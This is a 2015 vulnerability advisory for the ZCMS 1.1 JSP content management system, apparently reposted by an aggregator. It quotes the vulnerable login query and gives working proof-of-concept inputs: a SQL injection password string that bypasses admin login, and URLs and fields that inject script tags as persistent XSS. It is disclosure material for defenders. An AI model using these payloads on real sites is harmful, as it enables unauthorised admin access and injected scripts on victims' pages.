ZCMS SQL Injection &amp; Persistent XSS

Type securityvulns
Reporter Securityvulns
Modified 2015-06-14T00:00:00


[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-ZCMS0612.txt


http://zencherry.com/ http://sourceforge.net/projects/zencherrycms


ZCMS 1.1 JavaServer Pages Content Management System

Advisory Information:

SQL Injection & Persistent XSS

Vulnerability Details:

SQL Injection: Login to admin area requires a password but is easily bypassed using classic SQLInjection method because application uses concatenated user input to construct SQL queries.

ZCMS exploitable admin login code:

squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users WHERE status = 0 AND username = '"+username+"' AND password = '"+request.getParameter("pass") +"' AND type = 1 ;";

So we just supply an Admin password like ---> HELL' OR '2'='2 which will resolve as true!

SQL Inject XSS Payload:

We can also inject persisten XSS payload directly to MySQL database subverting all character filtering leveraging existing SQLInjection vulnerabilities.

Persistent XSS:

Another persistent XSS vector is here in author field for comments: http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page number]

Exploit code(s):

1) Bypass admin login

localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=login Enter 'admin' for username field Enter HELL' OR '2'='2 for the pass field

2) Inject XSS using SQL Injection

http://localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=editpost&p=1&title="<script>alert(1)</script> &content=<script>alert(1)</script>&author=<script>alert(1)</script> SATAN&visibility=1&type=1&comm=0

3) Persistent XSS field

http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page number] Inject <script>alert(666)</script> in author input field.

Disclosure Timeline:

Vendor Notification: NA June 12, 2015 : Public Disclosure

Severity Level:



Request Method(s): [+] GET & POST

Vulnerable Product: [+] ZCMS_1.1

Vulnerable Parameter(s): [+] pass, title, content, author

Affected Area(s): [+] Admin, CMS


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